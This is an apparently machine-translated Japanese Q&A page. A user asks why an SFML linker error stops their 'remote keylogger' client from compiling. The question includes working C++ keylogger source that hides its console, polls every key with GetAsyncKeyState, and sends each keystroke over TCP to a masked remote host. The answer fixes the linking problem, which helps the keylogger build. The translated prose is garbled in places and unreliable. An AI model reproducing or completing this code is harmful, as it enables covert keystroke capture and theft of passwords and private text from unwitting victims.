2017-05-30 4 views
1

の目的のためにリモートのキーロガーで作業しています。私は、クライアントをコンパイルしようとしたとき、私は(私はSFMLを使用しています)このエラーを取得するいくつかの理由:未解決の外部シンボルsf :: Time with SFML

Error LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" ([email protected]@[email protected]@[email protected]) 

何奇妙なのは、サーバーが正常にコンパイルし、それが同じライブラリを使用することです。リンカの設定を無限にチェックして、新しいプロジェクトを作成しようとしましたが、成功しません。ここで

はコードです:

#include <fstream> 
#include <Windows.h> 
#include <SFML\Network.hpp> 
#include <iostream> 

void ConnectToHost(sf::TcpSocket* socket) 
{ 
    sf::Socket::Status status = socket->connect("*****", ***); 

    if (status != sf::Socket::Done) 
     std::cout << "Error connecting to socket." << std::endl; 

    return; 
} 

int main() 
{ 
    FreeConsole(); 

    sf::TcpSocket socket; 
    ConnectToHost(&socket); 

    while (1) 
    { 
     for (char key = 8; key <= 190; key++) 
     { 
      if (GetAsyncKeyState(key) == -32767) 
      { 
       char key_sent[50] = { key }; 
       socket.send(key_sent, sizeof(key_sent)); 
      } 
     } 
    } 
    return 0; 
} 

私は現在、しかし、私はまた、すべてのSFMLダイナミックにリンクしようとした、解放するためにデバッグとSFML-network.libにSFML-ネットワークd.libをリンクしていますリンクライブラリーも同様です。そのため、それとは何の関係もありません。とにかく、これは私が間違った過ちや間違った過ちであると仮定していますが、私は数日間これを調べているので、私は質問としてそれを掲示すると思っていました。

答えて

4

エラーにはコードに問題はないと言われていますが、リンクに問題があります。 sfml-network.libにリンクしていますが、sf :: Timeを取得するには、sfml-system.libにリンクする必要があります。

sfml-network.libは、Ftp、Http、IpAddress、Packet、SocketSocketSocketSelector、TcpListener、TcpSocket、UdpSocketのみを提供します。

SFML-networkは、hereのようにSFML-Systemに依存しています。 SFMLネットワークを使用するときはいつでも、SFMLシステムに明示的にリンクする必要があります。

また、ダイナミックリンクライブラリへのリンクについても触れました。どのDLLにもリンクしないでください。リンクした.libは、実際にそれらのDLLをインポートさせます。反対(静的リンク)をしたい場合は、* -s.libの亜種にリンクする必要があります。

関連する問題